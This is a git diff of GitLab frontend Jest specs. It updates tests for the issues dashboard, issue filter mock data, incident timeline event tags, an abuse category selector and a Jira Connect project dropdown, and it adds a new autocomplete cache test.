afterEach(() => {
@@ -103,7 +103,11 @@ describe('IssuableForm', () => {
createIssuable($form);
expect(Autosave).toHaveBeenCalledTimes(totalAutosaveFormFields);
- expect(Autosave).toHaveBeenLastCalledWith($input, ['/', '', id], `autosave///=${id}`);
+ expect(Autosave).toHaveBeenLastCalledWith(
+ $input.get(0),
+ ['/', '', id],
+ `autosave///=${id}`,
+ );
});
});
diff --git a/spec/frontend/issues/dashboard/components/issues_dashboard_app_spec.js b/spec/frontend/issues/dashboard/components/issues_dashboard_app_spec.js
index 3f40772f7fc..841cea28ffc 100644
--- a/spec/frontend/issues/dashboard/components/issues_dashboard_app_spec.js
+++ b/spec/frontend/issues/dashboard/components/issues_dashboard_app_spec.js
@@ -27,6 +27,9 @@ import { scrollUp } from '~/lib/utils/scroll_utils';
import {
TOKEN_TYPE_ASSIGNEE,
TOKEN_TYPE_AUTHOR,
+ TOKEN_TYPE_LABEL,
+ TOKEN_TYPE_MILESTONE,
+ TOKEN_TYPE_MY_REACTION,
} from '~/vue_shared/components/filtered_search_bar/constants';
import IssuableList from '~/vue_shared/issuable/list/components/issuable_list_root.vue';
import { IssuableStates } from '~/vue_shared/issuable/list/constants';
@@ -42,8 +45,12 @@ describe('IssuesDashboardApp component', () => {
Vue.use(VueApollo);
const defaultProvide = {
+ autocompleteAwardEmojisPath: 'autocomplete/award/emojis/path',
calendarPath: 'calendar/path',
- emptyStateSvgPath: 'empty-state.svg',
+ dashboardLabelsPath: 'dashboard/labels/path',
+ dashboardMilestonesPath: 'dashboard/milestones/path',
+ emptyStateWithFilterSvgPath: 'empty/state/with/filter/svg/path.svg',
+ emptyStateWithoutFilterSvgPath: 'empty/state/with/filter/svg/path.svg',
hasBlockedIssuesFeature: true,
hasIssuableHealthStatusFeature: true,
hasIssueWeightsFeature: true,
@@ -97,74 +104,122 @@ describe('IssuesDashboardApp component', () => {
axiosMock.reset();
});
- it('renders IssuableList component', async () => {
- mountComponent();
- jest.runOnlyPendingTimers();
- await waitForPromises();
-
- expect(findIssuableList().props()).toMatchObject({
- currentTab: IssuableStates.Opened,
- hasNextPage: true,
- hasPreviousPage: false,
- hasScopedLabelsFeature: defaultProvide.hasScopedLabelsFeature,
- initialSortBy: CREATED_DESC,
- issuables: issuesQueryResponse.data.issues.nodes,
- issuablesLoading: false,
- namespace: 'dashboard',
- recentSearchesStorageKey: 'issues',
- searchInputPlaceholder: IssuesDashboardApp.i18n.searchInputPlaceholder,
- showPaginationControls: true,
- sortOptions: getSortOptions({
- hasBlockedIssuesFeature: defaultProvide.hasBlockedIssuesFeature,
- hasIssuableHealthStatusFeature: defaultProvide.hasIssuableHealthStatusFeature,
- hasIssueWeightsFeature: defaultProvide.hasIssueWeightsFeature,
- }),
- tabs: IssuesDashboardApp.IssuableListTabs,
- urlParams: {
- sort: urlSortParams[CREATED_DESC],
- state: IssuableStates.Opened,
- },
- useKeysetPagination: true,
+ describe('UI components', () => {
+ beforeEach(() => {
+ setWindowLocation(locationSearch);
+ mountComponent();
+ jest.runOnlyPendingTimers();
+ return waitForPromises();
});
- });
- it('renders RSS button link', () => {
- mountComponent();
+ it('renders IssuableList component', () => {
+ expect(findIssuableList().props()).toMatchObject({
+ currentTab: IssuableStates.Opened,
+ hasNextPage: true,
+ hasPreviousPage: false,
+ hasScopedLabelsFeature: defaultProvide.hasScopedLabelsFeature,
+ initialSortBy: CREATED_DESC,
+ issuables: issuesQueryResponse.data.issues.nodes,
+ issuablesLoading: false,
+ namespace: 'dashboard',
+ recentSearchesStorageKey: 'issues',
+ searchInputPlaceholder: IssuesDashboardApp.i18n.searchInputPlaceholder,
+ showPaginationControls: true,
+ sortOptions: getSortOptions({
+ hasBlockedIssuesFeature: defaultProvide.hasBlockedIssuesFeature,
+ hasIssuableHealthStatusFeature: defaultProvide.hasIssuableHealthStatusFeature,
+ hasIssueWeightsFeature: defaultProvide.hasIssueWeightsFeature,
+ }),
+ tabs: IssuesDashboardApp.IssuableListTabs,
+ urlParams: {
+ sort: urlSortParams[CREATED_DESC],
+ state: IssuableStates.Opened,
+ },
+ useKeysetPagination: true,
+ });
+ });
- expect(findRssButton().attributes('href')).toBe(defaultProvide.rssPath);
- expect(findRssButton().props('icon')).toBe('rss');
- });
+ it('renders RSS button link', () => {
+ expect(findRssButton().attributes('href')).toBe(defaultProvide.rssPath);
+ });
- it('renders calendar button link', () => {
- mountComponent();
+ it('renders calendar button link', () => {
+ expect(findCalendarButton().attributes('href')).toBe(defaultProvide.calendarPath);
+ });
+
+ it('renders issue time information', () => {
+ expect(findIssueCardTimeInfo().exists()).toBe(true);
+ });
- expect(findCalendarButton().attributes('href')).toBe(defaultProvide.calendarPath);
- expect(findCalendarButton().props('icon')).toBe('calendar');
+ it('renders issue statistics', () => {
+ expect(findIssueCardStatistics().exists()).toBe(true);
+ });
});
- it('renders issue time information', async () => {
- mountComponent();
- jest.runOnlyPendingTimers();
- await waitForPromises();
+ describe('fetching issues', () => {
+ describe('with a search query', () => {
+ describe('when there are issues returned', () => {
+ beforeEach(() => {
+ setWindowLocation(locationSearch);
+ mountComponent();
+ jest.runOnlyPendingTimers();
+ return waitForPromises();
+ });
- expect(findIssueCardTimeInfo().exists()).toBe(true);
- });
+ it('renders the issues', () => {
+ expect(findIssuableList().props('issuables')).toEqual(
+ defaultQueryResponse.data.issues.nodes,
+ );
+ });
- it('renders issue statistics', async () => {
- mountComponent();
- jest.runOnlyPendingTimers();
- await waitForPromises();
+ it('does not render empty state', () => {
+ expect(findEmptyState().exists()).toBe(false);
+ });
+ });
- expect(findIssueCardStatistics().exists()).toBe(true);
- });
+ describe('when there are no issues returned', () => {
+ beforeEach(() => {
+ setWindowLocation(locationSearch);
+ mountComponent({
+ issuesQueryHandler: jest.fn().mockResolvedValue(emptyIssuesQueryResponse),
+ });
+ return waitForPromises();
+ });
+
+ it('renders no issues', () => {
+ expect(findIssuableList().props('issuables')).toEqual([]);
+ });
+
+ it('renders empty state', () => {
+ expect(findEmptyState().props()).toMatchObject({
+ description: IssuesDashboardApp.i18n.emptyStateWithFilterDescription,
+ svgPath: defaultProvide.emptyStateWithFilterSvgPath,
+ title: IssuesDashboardApp.i18n.emptyStateWithFilterTitle,
+ });
+ });
+ });
+ });
+
+ describe('with no search query', () => {
+ let issuesQueryHandler;
+
+ beforeEach(() => {
+ issuesQueryHandler = jest.fn().mockResolvedValue(defaultQueryResponse);
+ mountComponent({ issuesQueryHandler });
+ return waitForPromises();
+ });
- it('renders empty state', async () => {
- mountComponent({ issuesQueryHandler: jest.fn().mockResolvedValue(emptyIssuesQueryResponse) });
- await waitForPromises();
+ it('does not call issues query', () => {
+ expect(issuesQueryHandler).not.toHaveBeenCalled();
+ });
- expect(findEmptyState().props()).toMatchObject({
- svgPath: defaultProvide.emptyStateSvgPath,
- title: IssuesDashboardApp.i18n.emptyStateTitle,
+ it('renders empty state', () => {
+ expect(findEmptyState().props()).toMatchObject({
+ description: null,
+ svgPath: defaultProvide.emptyStateWithoutFilterSvgPath,
+ title: IssuesDashboardApp.i18n.emptyStateWithoutFilterTitle,
+ });
+ });
});
});
@@ -233,6 +288,7 @@ describe('IssuesDashboardApp component', () => {
describe('when there is an error fetching issues', () => {
beforeEach(() => {
+ setWindowLocation(locationSearch);
mountComponent({ issuesQueryHandler: jest.fn().mockRejectedValue(new Error('ERROR')) });
jest.runOnlyPendingTimers();
return waitForPromises();
@@ -281,6 +337,9 @@ describe('IssuesDashboardApp component', () => {
expect(findIssuableList().props('searchTokens')).toMatchObject([
{ type: TOKEN_TYPE_ASSIGNEE, preloadedUsers },
{ type: TOKEN_TYPE_AUTHOR, preloadedUsers },
+ { type: TOKEN_TYPE_LABEL },
+ { type: TOKEN_TYPE_MILESTONE },
+ { type: TOKEN_TYPE_MY_REACTION },
]);
});
});
diff --git a/spec/frontend/issues/dashboard/utils_spec.js b/spec/frontend/issues/dashboard/utils_spec.js
new file mode 100644
index 00000000000..08d00eee3e3
--- /dev/null
+++ b/spec/frontend/issues/dashboard/utils_spec.js
@@ -0,0 +1,88 @@
+import AxiosMockAdapter from 'axios-mock-adapter';
+import fuzzaldrinPlus from 'fuzzaldrin-plus';
+import { AutocompleteCache } from '~/issues/dashboard/utils';
+import { MAX_LIST_SIZE } from '~/issues/list/constants';
+import axios from '~/lib/utils/axios_utils';
+
+describe('AutocompleteCache', () => {
+ let autocompleteCache;
+ let axiosMock;
+ const cacheName = 'name';
+ const searchProperty = 'property';
+ const url = 'url';
+
+ const data = [
+ { [searchProperty]: 'one' },
+ { [searchProperty]: 'two' },
+ { [searchProperty]: 'three' },
+ { [searchProperty]: 'four' },
+ { [searchProperty]: 'five' },
+ { [searchProperty]: 'six' },
+ { [searchProperty]: 'seven' },
+ { [searchProperty]: 'eight' },
+ { [searchProperty]: 'nine' },
+ { [searchProperty]: 'ten' },
+ { [searchProperty]: 'eleven' },
+ { [searchProperty]: 'twelve' },
+ { [searchProperty]: 'thirteen' },
+ { [searchProperty]: 'fourteen' },
+ { [searchProperty]: 'fifteen' },
+ ];
+
+ beforeEach(() => {
+ autocompleteCache = new AutocompleteCache();
+ axiosMock = new AxiosMockAdapter(axios);
+ });
+
+ afterEach(() => {
+ axiosMock.reset();
+ });
+
+ describe('when there is no cached data', () => {
+ let response;
+
+ beforeEach(async () => {
+ axiosMock.onGet(url).replyOnce(200, data);
+ response = await autocompleteCache.fetch({ url, cacheName, searchProperty });
+ });
+
+ it('fetches items via the API', () => {
+ expect(axiosMock.history.get[0].url).toBe(url);
+ });
+
+ it('returns a maximum of 10 items', () => {
+ expect(response).toHaveLength(MAX_LIST_SIZE);
+ });
+ });
+
+ describe('when there is cached data', () => {
+ let response;
+
+ beforeEach(async () => {
+ axiosMock.onGet(url).replyOnce(200, data);
+ jest.spyOn(fuzzaldrinPlus, 'filter');
+ // Populate cache
+ await autocompleteCache.fetch({ url, cacheName, searchProperty });
+ // Execute filtering on cache data
+ response = await autocompleteCache.fetch({ url, cacheName, searchProperty, search: 'een' });
+ });
+
+ it('returns filtered items based on search characters', () => {
+ expect(response).toEqual([
+ { [searchProperty]: 'fifteen' },
+ { [searchProperty]: 'thirteen' },
+ { [searchProperty]: 'fourteen' },
+ { [searchProperty]: 'eleven' },
+ { [searchProperty]: 'seven' },
+ ]);
+ });
+
+ it('filters using fuzzaldrinPlus', () => {
+ expect(fuzzaldrinPlus.filter).toHaveBeenCalled();
+ });
+
+ it('does not call the API', () => {
+ expect(axiosMock.history.get[1]).toBeUndefined();
+ });
+ });
+});
diff --git a/spec/frontend/issues/list/mock_data.js b/spec/frontend/issues/list/mock_data.js
index 0690501dee9..70b1521ff70 100644
--- a/spec/frontend/issues/list/mock_data.js
+++ b/spec/frontend/issues/list/mock_data.js
@@ -16,6 +16,7 @@ import {
TOKEN_TYPE_RELEASE,
TOKEN_TYPE_TYPE,
TOKEN_TYPE_WEIGHT,
+ TOKEN_TYPE_HEALTH,
} from '~/vue_shared/components/filtered_search_bar/constants';
export const getIssuesQueryResponse = {
@@ -149,6 +150,8 @@ export const locationSearch = [
'label_name[]=tv',
'not[label_name][]=live action',
'not[label_name][]=drama',
+ 'or[label_name][]=comedy',
+ 'or[label_name][]=sitcom',
'release_tag=v3',
'release_tag=v4',
'not[release_tag]=v20',
@@ -170,6 +173,8 @@ export const locationSearch = [
'not[weight]=3',
'crm_contact_id=123',
'crm_organization_id=456',
+ 'health_status=atRisk',
+ 'not[health_status]=onTrack',
].join('&');
export const locationSearchWithSpecialValues = [
@@ -182,6 +187,7 @@ export const locationSearchWithSpecialValues = [
'milestone_title=Upcoming',
'epic_id=None',
'weight=None',
+ 'health_status=None',
].join('&');
export const filteredTokens = [
@@ -204,6 +210,8 @@ export const filteredTokens = [
{ type: TOKEN_TYPE_LABEL, value: { data: 'tv', operator: OPERATOR_IS } },
{ type: TOKEN_TYPE_LABEL, value: { data: 'live action', operator: OPERATOR_NOT } },
{ type: TOKEN_TYPE_LABEL, value: { data: 'drama', operator: OPERATOR_NOT } },
+ { type: TOKEN_TYPE_LABEL, value: { data: 'comedy', operator: OPERATOR_OR } },
+ { type: TOKEN_TYPE_LABEL, value: { data: 'sitcom', operator: OPERATOR_OR } },
{ type: TOKEN_TYPE_RELEASE, value: { data: 'v3', operator: OPERATOR_IS } },
{ type: TOKEN_TYPE_RELEASE, value: { data: 'v4', operator: OPERATOR_IS } },
{ type: TOKEN_TYPE_RELEASE, value: { data: 'v20', operator: OPERATOR_NOT } },
@@ -225,6 +233,8 @@ export const filteredTokens = [
{ type: TOKEN_TYPE_WEIGHT, value: { data: '3', operator: OPERATOR_NOT } },
{ type: TOKEN_TYPE_CONTACT, value: { data: '123', operator: OPERATOR_IS } },
{ type: TOKEN_TYPE_ORGANIZATION, value: { data: '456', operator: OPERATOR_IS } },
+ { type: TOKEN_TYPE_HEALTH, value: { data: 'atRisk', operator: OPERATOR_IS } },
+ { type: TOKEN_TYPE_HEALTH, value: { data: 'onTrack', operator: OPERATOR_NOT } },
{ type: FILTERED_SEARCH_TERM, value: { data: 'find' } },
{ type: FILTERED_SEARCH_TERM, value: { data: 'issues' } },
];
@@ -239,6 +249,7 @@ export const filteredTokensWithSpecialValues = [
{ type: TOKEN_TYPE_MILESTONE, value: { data: 'Upcoming', operator: OPERATOR_IS } },
{ type: TOKEN_TYPE_EPIC, value: { data: 'None', operator: OPERATOR_IS } },
{ type: TOKEN_TYPE_WEIGHT, value: { data: 'None', operator: OPERATOR_IS } },
+ { type: TOKEN_TYPE_HEALTH, value: { data: 'None', operator: OPERATOR_IS } },
];
export const apiParams = {
@@ -255,6 +266,7 @@ export const apiParams = {
weight: '1',
crmContactId: '123',
crmOrganizationId: '456',
+ healthStatusFilter: 'atRisk',
not: {
authorUsername: 'marge',
assigneeUsernames: ['patty', 'selma'],
@@ -266,10 +278,12 @@ export const apiParams = {
iterationId: ['20', '42'],
epicId: '34',
weight: '3',
+ healthStatusFilter: 'onTrack',
},
or: {
authorUsernames: ['burns', 'smithers'],
assigneeUsernames: ['carl', 'lenny'],
+ labelNames: ['comedy', 'sitcom'],
},
};
@@ -283,6 +297,7 @@ export const apiParamsWithSpecialValues = {
milestoneWildcardId: 'UPCOMING',
epicId: 'None',
weight: 'None',
+ healthStatusFilter: 'NONE',
};
export const urlParams = {
@@ -296,6 +311,7 @@ export const urlParams = {
'not[milestone_title]': ['season 20', 'season 30'],
'label_name[]': ['cartoon', 'tv'],
'not[label_name][]': ['live action', 'drama'],
+ 'or[label_name][]': ['comedy', 'sitcom'],
release_tag: ['v3', 'v4'],
'not[release_tag]': ['v20', 'v30'],
'type[]': ['issue', 'feature'],
@@ -311,6 +327,8 @@ export const urlParams = {
'not[weight]': '3',
crm_contact_id: '123',
crm_organization_id: '456',
+ health_status: 'atRisk',
+ 'not[health_status]': 'onTrack',
};
export const urlParamsWithSpecialValues = {
@@ -323,6 +341,7 @@ export const urlParamsWithSpecialValues = {
milestone_title: 'Upcoming',
epic_id: 'None',
weight: 'None',
+ health_status: 'None',
};
export const project1 = {
diff --git a/spec/frontend/issues/related_merge_requests/components/related_merge_requests_spec.js b/spec/frontend/issues/related_merge_requests/components/related_merge_requests_spec.js
index d30a8c081cc..8413b8463c1 100644
--- a/spec/frontend/issues/related_merge_requests/components/related_merge_requests_spec.js
+++ b/spec/frontend/issues/related_merge_requests/components/related_merge_requests_spec.js
@@ -1,4 +1,4 @@
-import { mount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import mockData from 'test_fixtures/issues/related_merge_requests.json';
import axios from '~/lib/utils/axios_utils';
@@ -20,7 +20,7 @@ describe('RelatedMergeRequests', () => {
mock = new MockAdapter(axios);
mock.onGet(`${API_ENDPOINT}?per_page=100`).reply(200, mockData, { 'x-total': 2 });
- wrapper = mount(RelatedMergeRequests, {
+ wrapper = shallowMount(RelatedMergeRequests, {
store: createStore(),
propsData: {
endpoint: API_ENDPOINT,
@@ -49,7 +49,7 @@ describe('RelatedMergeRequests', () => {
});
});
- it('should return an array with single assingee', () => {
+ it('should return an array with single assignee', () => {
const mr = { assignee: assignees[0] };
expect(wrapper.vm.getAssignees(mr)).toEqual([assignees[0]]);
diff --git a/spec/frontend/issues/show/components/header_actions_spec.js b/spec/frontend/issues/show/components/header_actions_spec.js
index 7d6ca44e679..aaf228ae181 100644
--- a/spec/frontend/issues/show/components/header_actions_spec.js
+++ b/spec/frontend/issues/show/components/header_actions_spec.js
@@ -6,6 +6,7 @@ import { mockTracking } from 'helpers/tracking_helper';
import { createAlert, VARIANT_SUCCESS } from '~/flash';
import { IssuableStatus, IssueType } from '~/issues/constants';
import DeleteIssueModal from '~/issues/show/components/delete_issue_modal.vue';
+import AbuseCategorySelector from '~/abuse_reports/components/abuse_category_selector.vue';
import HeaderActions from '~/issues/show/components/header_actions.vue';
import { ISSUE_STATE_EVENT_CLOSE, ISSUE_STATE_EVENT_REOPEN } from '~/issues/show/constants';
import promoteToEpicMutation from '~/issues/show/queries/promote_to_epic.mutation.graphql';
@@ -38,8 +39,9 @@ describe('HeaderActions component', () => {
issueType: IssueType.Issue,
newIssuePath: 'gitlab-org/gitlab-test/-/issues/new',
projectPath: 'gitlab-org/gitlab-test',
- reportAbusePath:
- '-/abuse_reports/new?ref_url=http%3A%2F%2Flocalhost%2Fgitlab-org%2Fgitlab-test%2F-%2Fissues%2F32&user_id=1',
+ reportAbusePath: '-/abuse_reports/add_category',
+ reportedUserId: '1',
+ reportedFromUrl: 'http://localhost:/gitlab-org/-/issues/32',
submitAsSpamPath: 'gitlab-org/gitlab-test/-/issues/32/submit_as_spam',
};
@@ -401,4 +403,31 @@ describe('HeaderActions component', () => {
});
});
});
+
+ describe('abuse category selector', () => {
+ const findAbuseCategorySelector = () => wrapper.findComponent(AbuseCategorySelector);
+
+ beforeEach(() => {
+ wrapper = mountComponent({ props: { isIssueAuthor: false } });
+ });
+
+ it('renders', () => {
+ expect(findAbuseCategorySelector().exists()).toBe(true);
+ expect(findAbuseCategorySelector().props('showDrawer')).toEqual(false);
+ });
+
+ it('opens the drawer', async () => {
+ findDesktopDropdownItems().at(2).vm.$emit('click');
+
+ await nextTick();
+
+ expect(findAbuseCategorySelector().props('showDrawer')).toEqual(true);
+ });
+
+ it('closes the drawer', async () => {
+ await findAbuseCategorySelector().vm.$emit('close-drawer');
+
+ expect(findAbuseCategorySelector().props('showDrawer')).toEqual(false);
+ });
+ });
});
diff --git a/spec/frontend/issues/show/components/incidents/create_timeline_events_form_spec.js b/spec/frontend/issues/show/components/incidents/create_timeline_events_form_spec.js
index 1286617d64a..6c923cae0cc 100644
--- a/spec/frontend/issues/show/components/incidents/create_timeline_events_form_spec.js
+++ b/spec/frontend/issues/show/components/incidents/create_timeline_events_form_spec.js
@@ -1,6 +1,6 @@
import VueApollo from 'vue-apollo';
import Vue from 'vue';
-import { GlDatepicker } from '@gitlab/ui';
+import { GlDatepicker, GlListboxItem } from '@gitlab/ui';
import { mountExtended } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
import CreateTimelineEvent from '~/issues/show/components/incidents/create_timeline_event.vue';
@@ -27,6 +27,7 @@ const mockInputData = {
incidentId: 'gid://gitlab/Issue/1',
note: 'test',
occurredAt: '2020-07-08T00:00:00.000Z',
+ timelineEventTagNames: ['Start time'],
};
describe('Create Timeline events', () => {
@@ -51,9 +52,14 @@ describe('Create Timeline events', () => {
findHourInput().setValue(inputDate.getHours());
findMinuteInput().setValue(inputDate.getMinutes());
};
+ const findListboxItems = () => wrapper.findAllComponents(GlListboxItem);
+ const setEventTags = () => {
+ findListboxItems().at(0).vm.$emit('select', true);
+ };
const fillForm = () => {
setDatetime();
setNoteInput();
+ setEventTags();
};
function createMockApolloProvider() {
@@ -80,6 +86,7 @@ describe('Create Timeline events', () => {
provide: {
fullPath: 'group/project',
issuableId: '1',
+ glFeatures: { incidentEventTags: true },
},
apolloProvider,
});
diff --git a/spec/frontend/issues/show/components/incidents/mock_data.js b/spec/frontend/issues/show/components/incidents/mock_data.js
index 9accfcea791..6606bed1567 100644
--- a/spec/frontend/issues/show/components/incidents/mock_data.js
+++ b/spec/frontend/issues/show/components/incidents/mock_data.js
@@ -74,6 +74,7 @@ const mockUpdatedEvent = {
action: 'comment',
occurredAt: '2022-07-01T12:47:00Z',
createdAt: '2022-07-20T12:47:40Z',
+ timelineEventTags: [],
};
export const timelineEventsQueryListResponse = {
diff --git a/spec/frontend/issues/show/components/incidents/timeline_events_form_spec.js b/spec/frontend/issues/show/components/incidents/timeline_events_form_spec.js
index d5b199cc790..f06d968a4c5 100644
--- a/spec/frontend/issues/show/components/incidents/timeline_events_form_spec.js
+++ b/spec/frontend/issues/show/components/incidents/timeline_events_form_spec.js
@@ -1,11 +1,15 @@
import VueApollo from 'vue-apollo';
import Vue, { nextTick } from 'vue';
-import { GlDatepicker } from '@gitlab/ui';
-import { shallowMountExtended, mountExtended } from 'helpers/vue_test_utils_helper';
+import { GlDatepicker, GlListbox } from '@gitlab/ui';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
import TimelineEventsForm from '~/issues/show/components/incidents/timeline_events_form.vue';
import MarkdownField from '~/vue_shared/components/markdown/field.vue';
-import { timelineFormI18n } from '~/issues/show/components/incidents/constants';
+import {
+ timelineFormI18n,
+ TIMELINE_EVENT_TAGS,
+ timelineEventTagsI18n,
+} from '~/issues/show/components/incidents/constants';
import { createAlert } from '~/flash';
import { useFakeDate } from 'helpers/fake_date';
@@ -17,17 +21,23 @@ const fakeDate = '2020-07-08T00:00:00.000Z';
const mockInputDate = new Date('2021-08-12');
+const mockTags = TIMELINE_EVENT_TAGS;
+
describe('Timeline events form', () => {
// July 8 2020
useFakeDate(fakeDate);
let wrapper;
- const mountComponent = ({ mountMethod = shallowMountExtended } = {}, props = {}) => {
+ const mountComponent = ({ mountMethod = mountExtended } = {}, props = {}, glFeatures = {}) => {
wrapper = mountMethod(TimelineEventsForm, {
+ provide: {
+ glFeatures,
+ },
propsData: {
showSaveAndAdd: true,
isEventProcessed: false,
...props,
+ tags: mockTags,
},
stubs: {
GlButton: true,
@@ -35,6 +45,10 @@ describe('Timeline events form', () => {
});
};
+ beforeEach(() => {
+ mountComponent();
+ });
+
afterEach(() => {
createAlert.mockReset();
wrapper.destroy();
@@ -48,16 +62,26 @@ describe('Timeline events form', () => {
const findDatePicker = () => wrapper.findComponent(GlDatepicker);
const findHourInput = () => wrapper.findByTestId('input-hours');
const findMinuteInput = () => wrapper.findByTestId('input-minutes');
- const setDatetime = () => {
- findDatePicker().vm.$emit('input', mockInputDate);
- findHourInput().setValue(5);
- findMinuteInput().setValue(45);
- };
+ const findTagDropdown = () => wrapper.findComponent(GlListbox);
const findTextarea = () => wrapper.findByTestId('input-note');
+ const findTextareaValue = () => findTextarea().element.value;
const findCountNumeric = (count) => wrapper.findByText(count);
const findCountVerbose = (count) => wrapper.findByText(`${count} characters remaining`);
const findCountHint = () => wrapper.findByText(timelineFormI18n.hint);
+ const setDatetime = () => {
+ findDatePicker().vm.$emit('input', mockInputDate);
+ findHourInput().setValue(5);
+ findMinuteInput().setValue(45);
+ };
+ const selectTags = async (tags) => {
+ findTagDropdown().vm.$emit(
+ 'select',
+ tags.map((x) => x.value),
+ );
+ await nextTick();
+ };
+ const selectOneTag = () => selectTags([mockTags[0]]);
const submitForm = async () => {
findSubmitButton().vm.$emit('click');
await waitForPromises();
@@ -90,23 +114,97 @@ describe('Timeline events form', () => {
]);
});
- describe('form button behaviour', () => {
+ describe('with incident_event_tag feature flag enabled', () => {
beforeEach(() => {
- mountComponent({ mountMethod: mountExtended });
+ mountComponent(
+ {},
+ {},
+ {
+ incidentEventTags: true,
+ },
+ );
+ });
+
+ describe('event tag dropdown', () => {
+ it('should render option list from provided array', () => {
+ expect(findTagDropdown().props('items')).toEqual(mockTags);
+ });
+
+ it('should allow to choose multiple tags', async () => {
+ await selectTags(mockTags);
+
+ expect(findTagDropdown().props('selected')).toEqual(mockTags.map((x) => x.value));
+ });
+
+ it('should show default option, when none is chosen', () => {
+ expect(findTagDropdown().props('toggleText')).toBe(timelineFormI18n.selectTags);
+ });
+
+ it('should show the tag, when one is selected', async () => {
+ await selectOneTag();
+
+ expect(findTagDropdown().props('toggleText')).toBe(timelineEventTagsI18n.startTime);
+ });
+
+ it('should show the number of selected tags, when more than one is selected', async () => {
+ await selectTags(mockTags);
+
+ expect(findTagDropdown().props('toggleText')).toBe('2 tags');
+ });
+
+ it('should be cleared when clear is triggered', async () => {
+ await selectTags(mockTags);
+
+ // This component expects the parent to call `clear`, so this is the only way to trigger this
+ wrapper.vm.clear();
+ await nextTick();
+
+ expect(findTagDropdown().props('toggleText')).toBe(timelineFormI18n.selectTags);
+ expect(findTagDropdown().props('selected')).toEqual([]);
+ });
+
+ it('should populate incident note with tags if a note was empty', async () => {
+ await selectTags(mockTags);
+
+ expect(findTextareaValue()).toBe(
+ `${timelineFormI18n.areaDefaultMessage} ${mockTags
+ .map((x) => x.value.toLowerCase())
+ .join(', ')}`,
+ );
+ });
+
+ it('should populate incident note with tag but allow to customise it', async () => {
+ await selectOneTag();
+
+ await findTextarea().setValue('my customised event note');
+
+ await nextTick();
+
+ expect(findTextareaValue()).toBe('my customised event note');
+ });
+
+ it('should not populate incident note with tag if it had a note', async () => {
+ await findTextarea().setValue('hello');
+ await selectOneTag();
+
+ expect(findTextareaValue()).toBe('hello');
+ });
});
+ });
+ describe('form button behaviour', () => {
it('should save event on submit', async () => {
await submitForm();
expect(wrapper.emitted()).toEqual({
- 'save-event': [[{ note: '', occurredAt: fakeDate }, false]],
+ 'save-event': [[{ note: '', occurredAt: fakeDate, timelineEventTags: [] }, false]],
});
});
it('should save event on "submit and add another"', async () => {
await submitFormAndAddAnother();
expect(wrapper.emitted()).toEqual({
- 'save-event': [[{ note: '', occurredAt: fakeDate }, true]],
+ 'save-event': [[{ note: '', occurredAt: fakeDate, timelineEventTags: [] }, true]],
});
});
@@ -145,10 +243,6 @@ describe('Timeline events form', () => {
});
describe('form character limit', () => {
- beforeEach(() => {
- mountComponent({ mountMethod: mountExtended });
- });
-
it('sets a character limit hint', () => {
expect(findCountHint().exists()).toBe(true);
});
@@ -172,32 +266,32 @@ describe('Timeline events form', () => {
});
describe('Delete button', () => {
- it('does not show the delete button if showDelete prop is false', () => {
- mountComponent({ mountMethod: mountExtended }, { showDelete: false });
+ it('does not show the delete button if isEditing prop is false', () => {
+ mountComponent({ mountMethod: mountExtended }, { isEditing: false });
expect(findDeleteButton().exists()).toBe(false);
});
- it('shows the delete button if showDelete prop is true', () => {
- mountComponent({ mountMethod: mountExtended }, { showDelete: true });
+ it('shows the delete button if isEditing prop is true', () => {
+ mountComponent({ mountMethod: mountExtended }, { isEditing: true });
expect(findDeleteButton().exists()).toBe(true);
});
it('disables the delete button if isEventProcessed prop is true', () => {
- mountComponent({ mountMethod: mountExtended }, { showDelete: true, isEventProcessed: true });
+ mountComponent({ mountMethod: mountExtended }, { isEditing: true, isEventProcessed: true });
expect(findDeleteButton().props('disabled')).toBe(true);
});
it('does not disable the delete button if isEventProcessed prop is false', () => {
- mountComponent({ mountMethod: mountExtended }, { showDelete: true, isEventProcessed: false });
+ mountComponent({ mountMethod: mountExtended }, { isEditing: true, isEventProcessed: false });
expect(findDeleteButton().props('disabled')).toBe(false);
});
it('emits delete event on click', () => {
- mountComponent({ mountMethod: mountExtended }, { showDelete: true, isEventProcessed: true });
+ mountComponent({ mountMethod: mountExtended }, { isEditing: true, isEventProcessed: true });
deleteForm();
diff --git a/spec/frontend/jira_connect/branches/components/project_dropdown_spec.js b/spec/frontend/jira_connect/branches/components/project_dropdown_spec.js
index b0218a9df12..944854faab3 100644
--- a/spec/frontend/jira_connect/branches/components/project_dropdown_spec.js
+++ b/spec/frontend/jira_connect/branches/components/project_dropdown_spec.js
@@ -1,10 +1,4 @@
-import {
- GlAvatarLabeled,
- GlDropdown,
- GlDropdownItem,
- GlLoadingIcon,
- GlSearchBoxByType,
-} from '@gitlab/ui';
+import { GlAvatarLabeled, GlCollapsibleListbox, GlListboxItem } from '@gitlab/ui';
import { mount, shallowMount } from '@vue/test-utils';
import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
@@ -36,12 +30,8 @@ const mockQueryLoading = jest.fn().mockReturnValue(new Promise(() => {}));
describe('ProjectDropdown', () => {
let wrapper;
- const findDropdown = () => wrapper.findComponent(GlDropdown);
- const findAllDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
- const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
- const findDropdownItemByProjectId = (projectId) =>
- wrapper.find(`[data-testid="test-project-${projectId}"]`);
- const findSearchBox = () => wrapper.findComponent(GlSearchBoxByType);
+ const findDropdown = () => wrapper.findComponent(GlCollapsibleListbox);
+ const findAllGlListboxItems = () => wrapper.findAllComponents(GlListboxItem);
function createMockApolloProvider({ mockGetProjectsQuery = mockGetProjectsQuerySuccess } = {}) {
Vue.use(VueApollo);
@@ -55,6 +45,7 @@ describe('ProjectDropdown', () => {
wrapper = mountFn(ProjectDropdown, {
apolloProvider: mockApollo || createMockApolloProvider(),
propsData: props,
+ stubs: { GlCollapsibleListbox },
});
}
@@ -72,16 +63,11 @@ describe('ProjectDropdown', () => {
it('sets dropdown `loading` prop to `true`', () => {
expect(findDropdown().props('loading')).toBe(true);
});
-
- it('renders loading icon in dropdown', () => {
- expect(findLoadingIcon().isVisible()).toBe(true);
- });
});
describe('when projects query succeeds', () => {
beforeEach(async () => {
createComponent();
- await waitForPromises();
await nextTick();
});
